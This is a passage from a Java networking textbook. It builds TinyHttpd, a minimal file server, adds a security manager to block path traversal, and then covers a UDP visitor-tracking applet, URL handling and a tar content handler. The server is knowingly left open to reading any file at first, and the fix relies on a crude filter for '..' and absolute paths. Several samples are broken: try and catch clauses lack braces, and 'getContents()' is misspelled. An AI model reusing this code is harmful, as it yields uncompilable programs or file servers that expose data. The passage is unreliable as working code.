methods of the Date class.

The TinyHttpd Server

Have you ever wanted your very own Web server? Well, you're in
luck. In this section, we're going to build
TinyHttpd, a minimal but functional
HTTP daemon. TinyHttpd listens
on a specified port and services simple HTTP
"get file" requests. They look something like this:

GET /path/filename [optional stuff]

Your Web browser sends one or more as lines for each document
it retrieves. Upon reading the request, the server tries to open
the specified file and send its contents. If that document contains
references to images or other items to be displayed inline,
the browser continues with additional GET
requests. For best performance (especially in a time-slicing
environment), TinyHttpd services each request in
its own thread.
Therefore, TinyHttpd can service
several requests concurrently.

Over and above the limitations imposed by its simplicity,
TinyHttpd suffers from the limitations imposed by
the fickleness of filesystem access, as discussed in Chapter 8, Input/Output Facilities. It's important to remember that file pathnames
are still architecture dependent--as is the concept of a
filesystem to begin with. This example should work, as is, on
UNIX and DOS-like systems, but
may require some customizations to account for differences on other
platforms. It's possible to write more elaborate code that uses the
environmental information provided by Java to tailor itself to the
local system. (Chapter 8, Input/Output Facilities gives some hints about how to
do this).

WARNING:

This example will serve files from your host without
protection. Don't try this at work.

Now, without further ado, here's TinyHttpd:

import java.net.*;
import java.io.*;
import java.util.*;

public class TinyHttpd {
    public static void main( String argv[] ) throws IOException {
        ServerSocket ss = new ServerSocket(Integer.parseInt(argv[0]));
        while ( true )
            new TinyHttpdConnection( ss.accept() );
    }
}

class TinyHttpdConnection extends Thread {
    Socket sock;
    TinyHttpdConnection ( Socket s ) {
        sock = s;
        setPriority( NORM_PRIORITY - 1 );
        start();
    }

    public void run() {
        try {
            OutputStream out = sock.getOutputStream();
            String req =
                new DataInputStream(sock.getInputStream()).readLine();
            System.out.println( "Request: "+req );

            StringTokenizer st = new StringTokenizer( req );
            if ( (st.countTokens() >= 2) &&
                  st.nextToken().equals("GET") ) {
                if ( (req = st.nextToken()).startsWith("/") )
                    req = req.substring( 1 );
                if ( req.endsWith("/") || req.equals("") )
                    req = req + "index.html";

                try {
                    FileInputStream fis = new FileInputStream ( req );
                    byte [] data = new byte [ fis.available() ];
                    fis.read( data );
                    out.write( data );
                }
                catch ( FileNotFoundException e )
                    new PrintStream( out ).println("404 Not Found");
            } else
                new PrintStream( out ).println( "400 Bad Request" );

            sock.close();
        }
        catch ( IOException e )
            System.out.println( "I/O error " + e );
    }
}

Compile TinyHttpd and place it in your class
path. Go to a directory with some interesting documents and start the daemon,
specifying an unused port number as an argument. For example:

% java TinyHttpd 1234

You should now be able to use your Web browser to
retrieve files from your host. You'll have to specify the
nonstandard port number in the URL. For example, if
your hostname is foo.bar.com, and you started the
server as above, you could reference a file as in:

http://foo.bar.com:1234/welcome.html

TinyHttpd looks for files relative to its current
directory, so the pathnames you provide should be relative to
that location. Retrieved some files? Al'righty then,
let's take a closer look.

TinyHttpd is comprised of two classes. The
public TinyHttpd class contains the
main() method of our standalone application. It
begins by creating a ServerSocket, attached to the
specified port. It then loops, waiting for client connections and
creating instances of the second class, a
TinyHttpdConnection thread, to service each
request. The while loop waits for the
ServerSocket accept() method to
return a new Socket for each client connection. The
Socket is passed as an argument to construct the
TinyHttpdConnection thread that handles it.

TinyHttpdConnection is a subclass of
Thread. It lives long enough to process one client
connection and then dies.
TinyHttpdConnection's constructor does three
things. After saving the Socket argument for its
caller, it adjusts its own priority and then invokes
start() to bring its run()
method to life. By lowering its priority to
NORM_PRIORITY-1 (just below the default priority),
we ensure that the threads servicing established connections
won't block TinyHttpd's main thread
from accepting new requests. (On a time-slicing system, this is less
important.)

The body of TinyHttpdConnection's
run() method is where all the magic
happens. First, we fetch an OutputStream for talking
back to our client. The second line reads the GET
request from the InputStream into the variable
req. This request is a single newline-terminated
String that looks like the GET
request we described earlier. Since this is the only time we read from
this socket, it's hard to resist the urge to be terse. Alternatively,
we could break that statement into three steps: getting the
InputStream, creating the
DataInputStream wrapper, and reading the line. The
three-line version is certainly more readable and should not be
noticeably slower.

We then parse the contents of req to extract
a filename. The next few lines are a brief exercise in string
manipulation. We create a StringTokenizer and make
sure there are at least two tokens. Using
nextToken(), we take the first token and make sure
it's the word GET. (If both conditions
aren't met, we have an error.) Then we take the next token
(which should be a filename), assign it to req , and
check whether it begins with "/". If so, we use
substring() to strip the first character, giving us
a filename relative to the current directory. If it doesn't
begin with "/", the filename is already relative to the
current directory. Finally, we check to see if the requested filename
looks like a directory name (i.e., ends in slash) or is empty. In
these cases, we append the familiar default filename
index.html.

Once we have the filename, we try to open the specified file
and load its contents into a large byte array. (We did something
similar in the ListIt example in Chapter 8, Input/Output Facilities.) If all goes well, we write the data out to
client on the OutputStream. If we can't parse the
request or the file doesn't exist, we wrap our
OutputStream with a PrintStream
to make it easier to send a textual message. Then we return an
appropriate HTTP error message. Finally, we close
the socket and return from run(), removing our
Thread.

Taming the daemon

The biggest problem with TinyHttpd is that there
are no restrictions on the files it can access. With a little
trickery, the daemon will happily send any file in your filesystem to
the client. It would be nice if we could restrict
TinyHttpd to files that are in the current
directory, or a subdirectory. To make the daemon safer, let's
add a security manager. I discussed the general framework for security
managers in Chapter 7, Basic Utility Classes. Normally, a security manager is
used to prevent Java code downloaded over the Net from doing anything
suspicious. However, a security manager will serve nicely to restrict
file access in a self-contained application.

Here's the code for the security manager class:

import java.io.*;

class TinyHttpdSecurityManager extends SecurityManager {

    public void checkAccess(Thread g) { };
    public void checkListen(int port) { };
    public void checkLink(String lib) { };
    public void checkPropertyAccess(String key) { };
    public void checkAccept(String host, int port) { };
    public void checkWrite(FileDescriptor fd) { };
    public void checkRead(FileDescriptor fd) { };

    public void checkRead( String s ) {
        if ( new File(s).isAbsolute() || (s.indexOf("..") != -1) )
            throw new
               SecurityException("Access to file : "+s+" denied.");
    }
}

 The
heart of this security manager is the checkRead()
method. It checks two things: it makes sure that the pathname
we've been given isn't an absolute path, which could name any
file in the filesystem; and it makes sure the pathname doesn't
have a double dot (..) in it, which refers to the
parent of the current directory. With these two restrictions, we can
be sure (at least on a UNIX or
DOS-like filesystem) that we have restricted access
to only subdirectories of the current directory. If the pathname is
absolute or contains "..",
checkRead() throws a
SecurityException.

The other do-nothing method implementations--e.g.,
checkAccess()--allow the daemon to do its work
without interference from the security manager. If we don't
install a security manager, the application runs with no
restrictions. However, as soon as we install any security manager, we
inherit implementations of many "check" routines. The
default implementations won't let you do anything; they just
throw a security exception as soon as they are called. We have to open
holes so the daemon can do its own work; it still has to accept
connections, listen on sockets, create threads, read property lists,
etc. Therefore, we override the default checks with routines that
allow these things.

Now you're thinking, isn't that overly permissive? Not for
this application; after all, TinyHttpd never
tries to load foreign classes from the Net. The only code we are executing
is our own, and it's assumed we won't do anything dangerous. If
we were planning to execute untrusted code, the security manager would
have to be more careful about what to permit.

Now that we have a security manager, we must modify
TinyHttpd to use it. Two changes are necessary: we
must install the security manager and catch the security exceptions it
generates. To install the security manager, add the following code at
the beginning of TinyHttpd's
main() method:

System.setSecurityManager( new TinyHttpdSecurityManager() );

To catch the security exception, add the following
catch clause after
FileNotFoundException's catch
clause:

catch ( SecurityException e )
    new PrintStream( out ).println( "403 Forbidden" );

Now the daemon can't access anything that isn't within the
current directory or a subdirectory. If it tries to, the security
manager throws an exception and prevents access to the file. The
daemon then returns a standard HTTP error message
to the client.

TinyHttpd still has room for
improvement. First, it consumes a lot of memory by allocating a huge
array to read the entire contents of the file all at once. A more
realistic implementation would use a buffer and send large amounts of
data in several passes. TinyHttpd also fails to
deal with simple things like directories. It wouldn't be hard to
add a few lines of code (again, refer to the ListIt
example in Chapter 8, Input/Output Facilities) to read a directory and generate
linked HTML listings like most Web servers do.

Previous | Home | Next
Data compression | Book Index | Datagram Sockets

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 9] 9.2 Datagram Sockets

Previous Chapter 9
Network Programming 		Next

9.2 Datagram Sockets

TinyHttpd used a Socket to create a connection to the client using the TCP protocol. In that example, TCP itself took care of data integrity; we didn't have to worry about data arriving out of order or incorrect. Now we'll take a walk on the wild side. We'll build an applet that uses a java.net.DatagramSocket, which uses the UDP protocol. A datagram is sort of like a "data telegram": it's a discrete chunk of data transmitted in one packet. Unlike the previous example, where we could get a convenient OutputStream from our Socket and write the data as if writing to a file, with a DatagramSocket we have to work one datagram at a time. (Of course, the TCP protocol was taking our OutputStream and slicing the data into packets, but we didn't have to worry about those details).

UDP doesn't guarantee that the data will get through. If the data do get through, it may not arrive in the right order; it's even possible for duplicate datagrams to arrive. Using UDP is something like cutting the pages out of the encyclopedia, putting them into separate envelopes, and mailing them to your friend. If your friend wants to read the encyclopedia, it's his or her job to put the pages in order. If some pages got lost in the mail, your friend has to send you a letter asking for replacements.

Obviously, you wouldn't use UDP to send a huge amount of data. But it's significantly more efficient than TCP, particularly if you don't care about the order in which messages arrive, or whether the data arrive at all. For example, in a database lookup, the client can send a query; the server's response itself constitutes an acknowledgment. If the response doesn't arrive within a certain time, the client can send another query. It shouldn't be hard for the client to match responses to its original queries. Some important applications that use UDP are the Domain Name System (DNS) and Sun's Network Filesystem (NFS).

The HeartBeat Applet

In this section we'll build a simple applet, HeartBeat, that sends a datagram to its server each time it's started and stopped. (See Chapter 10, Understand the Abstract Windowing Toolkit for a complete discussion of the Applet class.) We'll also build a simple standalone server application, Pulse, that receives that datagrams and prints them. By tracking the output, you could have a crude measure of who is currently looking at your Web page at any given time. This is an ideal application for UDP: we don't want the overhead of a TCP socket, and if datagrams get lost, it's no big deal.

First, the HeartBeat applet:

import java.net.*;
import java.io.*;

public class HeartBeat extends java.applet.Applet {
    String myHost;
    int myPort;

    public void init() {
        myHost = getCodeBase().getHost();
        myPort = Integer.parseInt( getParameter("myPort") );
    }

    private void sendMessage( String message ) {
        try {
            byte [] data = new byte [ message.length() ];
            message.getBytes(0, data.length, data, 0);
            InetAddress addr = InetAddress.getByName( myHost );
            DatagramPacket pack =
               new DatagramPacket(data, data.length, addr, myPort);

            DatagramSocket ds = new DatagramSocket();
            ds.send( pack );
            ds.close();
        }
        catch ( IOException e )
            System.out.println( e );
    }

    public void start() {
        sendMessage("Arrived");
    }
    public void stop() {
        sendMessage("Departed");
    }
}

Compile the applet and include it in an HTML document with an <applet> tag:

<applet height=10 width=10 code=HeartBeat>
    <param name="myPort" value="1234">
</applet>

The myPort parameter should specify the port number on which our server application listens for data.

Next, the server-side application, Pulse:

import java.net.*;
import java.io.*;

public class Pulse {
    public static void main( String [] argv ) throws IOException {

        DatagramSocket s =
           new DatagramSocket(Integer.parseInt(argv[0]));
        while ( true ) {
            DatagramPacket packet = new DatagramPacket(new byte
                                                      [1024], 1024);
            s.receive( packet );
            String message = new String(packet.getData(), 0, 0,
                                        packet.getLength());
            System.out.println( "Heartbeat from: " +
                packet.getAddress().getHostName() + " - " + message );
        }
    }
}

Compile Pulse and run it on your Web server, specifying a port number as an argument:

% java Pulse 1234

The port number should be the same as the one you used in the myPort parameter of the <applet> tag for HeartBeat.

Now, pull up the Web page in your browser. You won't see anything there (a better application might do something visual as well), but you should get a blip from the Pulse application. Leave the page and return to it a few times. Each time the applet is started or stopped, it sends a message:

Heartbeat from: foo.bar.com - Arrived
Heartbeat from: foo.bar.com - Departed
Heartbeat from: foo.bar.com - Arrived
Heartbeat from: foo.bar.com - Departed
...

Cool, eh? Just remember the datagrams are not guaranteed to arrive (although it's unlikely you'll see them fail), and it's possible that you could miss an arrival or a departure. Now let's look at the code.

HeartBeat

HeartBeat overrides the init(), start(), and stop() methods of the Applet class, and implements one private method of its own, sendMessage(), that sends a datagram. HeartBeat begins its life in init(), where it determines the destination for its messages. It uses the Applet getCodeBase() and getHost() methods to find the name of its originating host and fetches the correct port number from the myPort parameter of the HTML tag. After init() has finished, the start() and stop() methods are called whenever the applet is started or stopped. These methods merely call sendMessage() with the appropriate message.

sendMessage() is responsible for sending a String message to the server as a datagram. It takes the text as an argument, constructs a datagram packet containing the message, and then sends the datagram. All of the datagram information, including the destination and port number, are packed into a java.net.DatagramPacket object. The DatagramPacket is like an addressed envelope, stuffed with our bytes. After the DatagramPacket is created, sendMessage() simply has to open a DatagramSocket and send it.

The first four lines of sendMessage() build the DatagramPacket:

try {
    byte [] data = new byte [ message.length() ];
    message.getBytes(0, data.length, data, 0);
    InetAddress addr = InetAddress.getByName( myHost );
    DatagramPacket pack =
       new DatagramPacket(data, data.length, addr, myPort );

First, the contents of message are placed into an array of bytes called data. Next a java.net.InetAddress object is created from the name myHost. An InetAddress simply holds the network address information for a host in a special format. We get an InetAddress object for our host by using the static getByName() method of the InetAddress class. (We can't construct an InetAddress object directly.) Finally, we call the DatagramPacket constructor with four arguments: the byte array containing our data, the length of the data, the destination address object, and the port number.

The remaining lines construct a default client DatagramSocket and call its send() method to transmit the DatagramPacket; after sending the datagram, we close the socket:

DatagramSocket ds = new DatagramSocket();
ds.send( pack );
ds.close();

Two operations throw a type of IOException: the InetAddress.getByName() lookup and the DatagramSocket send(). InetAddress.getByName() can throw an UnknownHostException, which is a type of IOException that indicates that the host name can't be resolved. If send() throws an IOException, it implies a serious client side problem in talking to the network. We need to catch these exceptions; our catch block simply prints a message telling us that something went wrong. If we get one of these exceptions, we can assume the datagram never arrived. However, we can't assume the converse. Even if we don't get an exception, we still don't know that the host is actually accessible or that the data actually arrived; with a DatagramSocket, we never find out.

Pulse

The Pulse server corresponds to the HeartBeat applet. First, it creates a DatagramSocket to listen on our prearranged port. This time, we specify a port number in the constructor; we get the port number from the command line as a string (argv[0]) and convert it to an integer with Integer.parseInt(). Note the difference between this call to the constructor and the call in HeartBeat. In the server, we need to listen for incoming datagrams on a prearranged port, so we need to specify the port when creating the DatagramSocket. In the client, we need only to send datagrams, so we don't have to specify the port in advance; we build the port number into the DatagramPacket itself.

Second, Pulse creates an empty DatagramPacket of a fixed size to receive an incoming datagram. This alternative constructor for DatagramPacket takes a byte array and a length as arguments. As much data as possible is stored in the byte array when it's received. (A practical limit on the size of a UDP datagram is 8K.) Finally, Pulse calls the DatagramSocket's receive() method to wait for a packet to arrive. When a packet arrives, its contents are printed.

As you can see, working with DatagramSocket is slightly more tedious than working with Sockets. With datagrams, it's harder to spackle over the messiness of the socket interface. However, the Java API rather slavishly follows the UNIX interface, and that doesn't help. I don't see any reason why we have to prepare a datagram to hand to receive() (at least for the current functionality); receive() ought to create an appropriate object on its own and hand it to us, saving us the effort of building the datagram in advance and unpacking the data from it afterwards. It's easy to imagine other conveniences; perhaps we'll have them in a future release.

Previous | Home | Next
Sockets | Book Index | Working with URLs
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.3 Working with URLs

Previous Chapter 9
Network Programming 		Next

9.3 Working with URLs

A URL points to an object on the Internet. It's a collection of information that identifies an item, tells you where to find it, and specifies a method for communicating with it or retrieving it from its source. A URL refers to any kind of information source. It might point to static data, such as a file on a local filesystem, a Web server, or an FTP archive; or it can point to a more dynamic object such as a news article on a news spool or a record in a WAIS database. URLs can even refer to less tangible resources such as Telnet sessions and mailing addresses.

A URL is usually presented as a string of text, like an address.[3] Since there are many different ways to locate an item on the Net, and different mediums and transports require different kinds of information, there are different formats for different kinds of URLs. The most common form specifies three things: a network host or server, the name of the item and its location on that host, and a protocol by which the host should communicate:

[3] The term URL was coined by the Uniform Resource Identifier (URI) working group of the IETF to distinguish URLs from the more general notion of Uniform Resource Names or URNs. URLs are really just static addresses, whereas URNs would be more persistent and abstract identifiers used to resolve the location of an object anywhere on the Net. URLs are defined in RFC 1738 and RFC 1808.

protocol://hostname/location/item

protocol is an identifier such as "http," "ftp," or "gopher"; hostname is an Internet hostname; and the location and item components form a path that identifies the object on that host. Variants of this form allow extra information to be packed into the URL, specifying things like port numbers for the communications protocol and fragment identifiers that reference parts inside the object.

We sometimes speak of a URL that is relative to a base URL. In that case we are using the base URL as a starting point and supplying additional information. For example, the base URL might point to a directory on a Web server; a relative URL might name a particular file in that directory.

The URL class

A URL is represented by an instance of the java.net.URL class. A URL object manages all information in a URL string and provides methods for retrieving the object it identifies. We can construct a URL object from a URL specification string or from its component parts:

try {
    URL aDoc = new URL( "http://foo.bar.com/documents/homepage.html" );
    URL sameDoc =
        new URL("http","foo.bar.com","documents/homepage.html");
}
catch ( MalformedURLException e ) { }

The two URL objects above point to the same network resource, the homepage.html document on the server foo.bar.com. Whether or not the resource actually exists and is available isn't known until we try to access it. At this point, the URL object just contains data about the object's location and how to access it. No connection to the server has been made. We can examine the URL's components with the getProtocol(), getHost(), and getFile() methods. We can also compare it to another URL with the sameFile() method. sameFile() determines if two URLs point to the same resource. It can be fooled, but sameFile does more than compare the URLs for equality; it takes into account the possibility that one server may have several names, and other factors.

When a URL is created, its specification is parsed to identify the protocol component. If the protocol doesn't make sense, or if Java can't find a protocol handler for it, the URL constructor throws a MalformedURLException. A protocol handler is a Java class that implements the communications protocol for accessing the URL resource. For example, given an "http" URL, Java prepares to use the HTTP protocol handler to retrieve documents from the specified server.

Stream Data

The most general way to get data back from URL is to ask for an InputStream from the URL by calling openStream(). If you're writing an applet that will be running under Netscape, this is about your only choice. In fact, it's a good choice if you want to receive continuous updates from a dynamic information source. The drawback is that you have to parse the contents of an object yourself. Not all types of URLs support the openStream() method; you'll get an UnknownServiceException if yours doesn't.

The following code reads a single line from an HTML file:

try {
    URL url = new URL("http://server/index.html");
    DataInputStream dis = new DataInputStream( url.openStream() );
    String line = dis.readLine();

We ask for an InputStream with openStream(), and wrap it in a DataInputStream to read a line of text. Here, because we are specifying the "http" protocol in the URL, we still require the services of an HTTP protocol handler. As we'll discuss more in a bit, that brings up some questions about what handlers we have available to us and where. This example partially works around those issues because no content handler is involved; we read the data and interpret it as a content handler would. However, there are even more limitations on what applets can do right now. For the time being, if you construct URLs relative to the applet's codeBase(), you should be able to use them in applets as in the above example. This should guarantee that the needed protocol is available and accessible to the applet. Again, we'll discuss the more general issues a bit later.

Getting the Content as an Object

openStream() operates at a lower level than the more general content-handling mechanism implemented by the URL class. We showed it first because, until some things are settled, you'll be limited as to when you can use URLs in their more powerful role. When a proper content handler is available to Java (currently, only if you supply one with your standalone application), you'll be able to retrieve the object the URL addresses as a complete object, by calling the URL's getContent() method. getContent() initiates a connection to the host, fetches the data for you, determines the data's MIME type, and invokes a content handler to turn the data into a Java object.

For example: given the URL http://foo.bar.com/index.html, a call to getContent() uses the HTTP protocol handler to receive the data and the HTML content handler to turn the data into some kind of object. A URL that points to a plain-text file would use a text-content handler that might return a String object. A GIF file might be turned into an Image object for display, using a GIF content handler. If we accessed the GIF file using an "ftp" URL, Java would use the same content handler, but would use the FTP protocol handler to receive the data.

getContent() returns the output of the content handler. Now we're faced with a problem: exactly what did we get? Since the content handler can return almost anything, the return type of getContent() is Object. Before doing anything meaningful with this Object, we must cast it into some other data type that we can work with. For example, if we expect a String, we'll cast the result of getContent() to a String:

String content;

try
    content = (String)myURL.getContent();
catch ( Exception e ) { }

Of course, we are presuming we will in fact get a String object back from this URL. If we're wrong, we'll get a ClassCastException. Since it's common for servers to be confused (or even lie) about the MIME types of the objects they serve, it's wise to catch that exception (it's a subclass of RuntimeException, so catching it is optional) or to check the type of the returned object with the instanceof operator:

if ( content instanceof String ) {
    String s = (String)content;
    ...

Various kinds of errors can occur when trying to retrieve the data. For example, getContent() can throw an IOException if there is a communications error; IOException is not a type of RuntimeException, so we must catch it explicitly, or declare the method that calls getContent() can throw it. Other kinds of errors can happen at the application level: some knowledge of how the handlers deal with errors is necessary.

For example, consider a URL that refers to a nonexistent file on an HTTP server. When requested, the server probably returns a valid HTML document that consists of the familiar "404 Not Found" message. An appropriate HTML content handler is invoked to interpret this and return it as it would any other HTML object. At this point, there are several alternatives, depending entirely on the content handler's implementation. It might return a String containing the error message; it could also conceivably return some other kind of object or throw a specialized subclass of IOException. To find out that an error occurred, the application may have to look directly at the object returned from getContent(). After all, what is an error to the application may not be an error as far as the protocol or content handlers are concerned. "404 Not Found" isn't an error at this level; it's a perfectly valid document.

Another type of error occurs if a content handler that understands the data's MIME type isn't available. In this case, getContent() invokes a minimal content handler used for data with an unknown type and returns the data as a raw InputStream. A sophisticated application might specialize this behavior to try to decide what to do with the data on its own.

The openStream() and getContent() methods both implicitly create a connection to the remote URL object. For some applications, it may be necessary to use the openConnection() method of the URL to interact directly with the protocol handler. openConnection() returns a URLConnection object, which represents a single, active connection to the URL resource. We'll examine URLConnections further when we start writing protocol handlers.

Previous | Home | Next
Datagram Sockets | Book Index | Web Browsers and Handlers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.4 Web Browsers and Handlers

Previous Chapter 9
Network Programming 		Next

9.4 Web Browsers and Handlers

The content- and protocol-handler mechanisms I've introduced can be used by any application that accesses data via URLs. This mechanism is extremely flexible; to handle a URL, you need only the appropriate protocol and content handlers. To extend a Java-built Web browser so that it can handle new and specialized kinds of URLs, you need only supply additional content and protocol handlers. Furthermore, Java's ability to load new classes over the Net means that the handlers don't even need to be a part of the browser. Content and protocol handlers could be downloaded over the Net, from the same site that supplies the data, and used by the browser. If you wanted to supply some completely new data type, using a completely new protocol, you could make your data file plus a content handler and a protocol handler available on your Web server; anyone using a Web browser built in Java would automatically get the appropriate handlers whenever they access your data. In short, Java lets you build automatically extendible Web browsers; instead of being a gigantic do-everything application, the browser becomes a lightweight scaffold that dynamically incorporates extensions as needed. Figure 9.3 shows the conceptual operation of a content handler; Figure 9.4 does the same for a protocol handler.

Figure 9.3: A content handler at work

[Graphic: Figure 9-3]

Figure 9.4: A protocol handler at work

[Graphic: Figure 9-4]

Sun's HotJava was the first browser to demonstrate these features. When HotJava encounters a type of content or a protocol it doesn't understand, it searches the remote server for an appropriate handler class. HotJava also interprets HTML data as a type of content; that is, HTML isn't a privileged data type built into the browser. HTML documents use the same content- and protocol-handler mechanisms as other data types.

Unfortunately, a few nasty flies are stuck in this ointment. Content and protocol handlers are part of the Java API: they're an intrinsic part of the mechanism for working with URLs. However, specific content and protocol handlers aren't part of the API; the ContentHandler class and the two classes that make up protocol handlers, URLStreamHandler and URLConnection, are all abstract classes. They define what an implementation must provide, but they don't actually provide an implementation. This is not as paradoxical as it sounds. After all, the API defines the Applet class, but doesn't include any specific applets. Likewise, the standard Java classes don't include content handlers for HTML, GIF, MPEG, or other common data types. Even this isn't a real problem, although a library of standard content handlers would be useful. (JDK provides some content and protocol handlers in the sun.net.www.content and sun.net.www.protocol packages, but these are undocumented and subject to change.) There are two real issues here:

  • There isn't any standard that tells you what kind of object the content handler should return. I danced around the issue just above, but it's a real problem. It's common sense that GIF data should be turned into an Image object, but at the moment, that's an application-level decision. If you're writing your own application and your own content handlers, that isn't an issue: you can make any decision you want. But if you're writing content handlers that interface to arbitrary Web browsers, you need a standard that defines what the browser expects. You can use the sun.net classes to make a guess, but a real standard hasn't been worked out yet.

  • There isn't any standard that tells you where to put content and protocol handlers so that an application (like a Web browser) can find them. Again, you can make application-level decisions about where to place your own handlers, but that doesn't solve the real problem: we want our content and protocol handlers to be usable by any browser. It's possible to make an educated guess about what the standard will be, but it's still a guess.

The next release of Sun's HotJava Web browser should certainly take full advantage of handlers,[4] but current versions of Netscape Navigator do not. When the next release of HotJava appears, it may resolve these questions, at least on a de facto basis. (It would certainly be in Sun's interest to publish some kind of standard as soon as possible.) Although we can't tell you what standards will eventually evolve, we can discuss how to write handlers for standalone applications. When the standards issues are resolved, revising these handlers to work with HotJava and other Web browsers should be simple.

[4] Downloadable handlers will be part of HotJava 1.0, though they are not supported by the "pre-beta 1" release. The current release does support local content and protocol handlers. HotJava 1.0 also promises additional classes to support network applications.

The most common Java-capable platform, Netscape Navigator, doesn't use the content- and protocol-handler mechanisms to render Net resources. It's a classic monolithic application: knowledge about certain kinds of objects, like HTML and GIF files, is built-in. It can be extended via a plug-in mechanism, but plug-ins aren't portable (they're written in C) and can't be downloaded dynamically over the Net. Applets running in Netscape can use a limited version of the URL mechanism, but the browser imposes many restrictions. As I said earlier, you can construct URLs relative to the applet's code base, and use the openStream() method to get a raw input stream from which to read data, but that's it. For the time being, you can't use your own content or protocol handlers to work with applets loaded over the Net. Allowing this would be a simple extension, even without content- and protocol-handler support integrated into Netscape itself. We can only hope they add this support soon.

Previous | Home | Next
Working with URLs | Book Index | Writing a Content Handler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.5 Writing a Content Handler

Previous Chapter 9
Network Programming 		Next

9.5 Writing a Content Handler

getContent() invokes a content handler whenever it's called to retrieve an object at some URL. The content handler must read the flat stream of data produced by the URL's protocol handler (the data read from the remote source), and construct a well-defined Java object from it. By "flat," I mean that the data stream the content handler receives has no artifacts left over from retrieving the data and processing the protocol. It's the protocol handler's job to fetch and decode the data before passing it along. The protocol handler's output is your data, pure and simple.

The roles of content and protocol handlers do not overlap. The content handler doesn't care how the data arrives, or what form it takes. It's concerned only with what kind of object it's supposed to create. For example, if a particular protocol involves sending an object over the network in a compressed format, the protocol handler should do whatever is necessary to unpack it before passing the data on to the content handler. The same content handler can then be used again with a completely different protocol handler to construct the same type of object received via a different transport mechanism.

Let's look at an example. The following lines construct a URL that points to a GIF file on an FTP archive and attempt to retrieve its contents:

try {
    URL url = new URL ("ftp://ftp.wustl.edu/graphics/gif/a/apple.gif");
    Image img = (Image)url.getContent();
    ...

When we construct the URL object, Java looks at the first part of the URL string (i.e., everything prior to the colon) to determine the protocol and locate a protocol handler. In this case, it locates the FTP protocol handler, which is used to open a connection to the host and transfer data for the specified file.

After making the connection, the URL object asks the protocol handler to identify the resource's MIME type.[5] It does this through a variety of means, but in this case it probably just looks at the filename extension (.gif ) and determines that the MIME type of the data is image/gif. The protocol handler then looks for the content handler responsible for the image/gif type and uses it to construct the right kind of object from the data. The content handler returns an Image object, which getContent() returns to us as an Object; we cast this Object back to the Image type so we can work with it.

[5] MIME stands for Multipurpose Internet Mail Extensions. It's a standard design to facilitate multimedia email, but it has become more widely used as a way to specify the treatment of data contained in a document.

In an upcoming section, we'll build a simple content handler. To keep things as simple as possible, our example will produce text as output; the URL's getContent() method will return this as a String object.

Locating Content Handlers

As I said earlier, there's no standard yet for where content handlers should be located. However, we're writing code now and need to know what package to place our class files in. In turn, this determines where to place the class files in the local filesystem. Because we are going to write our own standalone application to use our handler, we'll place our classes in a package in our local class path and tell Java where they reside. However, we will follow the naming scheme that's likely to become the standard. If other applications expect to find handlers in different locations (either locally or on servers), you'll simply have to repackage your class files according to their naming scheme and put them in the correct place.

Package names translate to path names when Java is searching for a class. This holds for locating content-handler classes as well as other kinds of classes. For example, on a UNIX- or DOS-based system, a class in a package named net.www.content would live in a directory with net/www/content/ as part of its pathname. To allow Java to find handler classes for arbitrary new MIME types, content handlers are organized into packages corresponding to the basic MIME type categories. The handler classes themselves are then named after the specific MIME type. This allows Java to map MIME types directly to class names.

According to the scheme we'll follow, a handler for the image/gif MIME type is called gif and placed in a package called net.www.content.image. The fully qualified name of the class would then be net.www.content.image.gif, and it would be located in the file net/www/content/image/gif.class, somewhere in the local class path or on a server. Likewise, a content handler for the video/mpeg MIME type would be called mpeg, and there would be an mpeg.class file located (again, on a UNIX-/DOS-like filesystem) in a net/www/content/video/ directory somewhere in a local class path or on a server.

Many MIME type names include a dash (-), which is illegal in a class name. You should convert dashes and other illegal characters into underscores when building Java class and package names. Also note that there are no capital letters in the class names. This violates the coding convention used in most Java source files, in which class names start with capital letters. However, capitalization is not significant in MIME type names, so it's simpler to name the handler classes accordingly. Table 9.1 shows how some typical MIME types are converted to package and class names.[6]

[6] The "pre-beta 1" release of HotJava has a temporary solution that is compatible with the convention described here. In the HotJava properties file, add the line: java.content.handler.pkgs=net.www.content.

Table 9.1: Converting MIME Types to Class and Package Names
MIME type | Package name | Class name | Class location
image/gif | net.www.content.image | gif | net/www/content/image/
image/jpeg | net.www.content.image | jpeg | net/www/content/image/
text/html | net.www.content.text | html | net/www/content/text/

The application/x-tar Handler

In this section, we'll build a simple content handler that reads and interprets tar (tape archive) files. tar is an archival format widely used in the UNIX-world to hold collections of files, along with their basic type and attribute information.[7] A tar file is similar to a ZIP file, except that it's not compressed. Files in the archive are stored sequentially, in flat text or binary with no special encoding. In practice, tar files are usually compressed for storage using an application like UNIX compress or GNU gzip and then named with a filename extension like .tar.gz or .tgz.

[7] There are several slightly different versions of the tar format. This content handler understands the most widely used variant.

Most Web browsers, upon retrieving a tar file, prompt the user with a File Save dialog. The assumption is that if you are retrieving an archive, you probably want to save it for later unpacking and use. We would like to instead implement a tar content handler that allows an application to read the contents of the archive and give us a listing of the files that it contains. In itself, this would not be the most useful thing in the world, because we would be left with the dilemma of how to get at the archive's contents. However, a more complete implementation of our content handler, used in conjunction with an application like a Web browser, could generate output that lets us select and save individual files within the archive.

The code that fetches the .tar file and lists its contents looks like this:

try {
    URL listing =
        new URL("http://somewhere.an.edu/lynx/lynx2html.tar");
    String s = (String)listing.getContents();
    System.out.println( s );
     ...

We'll produce a listing similar to the UNIX tar application's output:

Tape Archive Listing:

0     Tue Sep 28 18:12:47 CDT 1993 lynx2html/
14773 Tue Sep 28 18:01:55 CDT 1993 lynx2html/lynx2html.c
470   Tue Sep 28 18:13:24 CDT 1993 lynx2html/Makefile
172   Thu Apr 01 15:05:43 CST 1993 lynx2html/lynxgate
3656  Wed Mar 03 15:40:20 CST 1993 lynx2html/install.csh
490   Thu Apr 01 14:55:04 CST 1993 lynx2html/new_globals.c
...

Our content handler dissects the file to read the contents and generates the listing. The URL's getContent() method returns that information to our application as a String object.

First we must decide what to call our content handler and where to put it. The MIME-type hierarchy classifies the tar format as an "application type extension." Its proper MIME type is then application/x-tar. Therefore, our handler belongs to the net.www.content.application package, and goes into the class file net/www/content/application/x_tar.class. Note that the name of our class is x_tar, rather than x-tar; you'll remember the dash is illegal in a class name so, by convention, we convert it to an underscore.

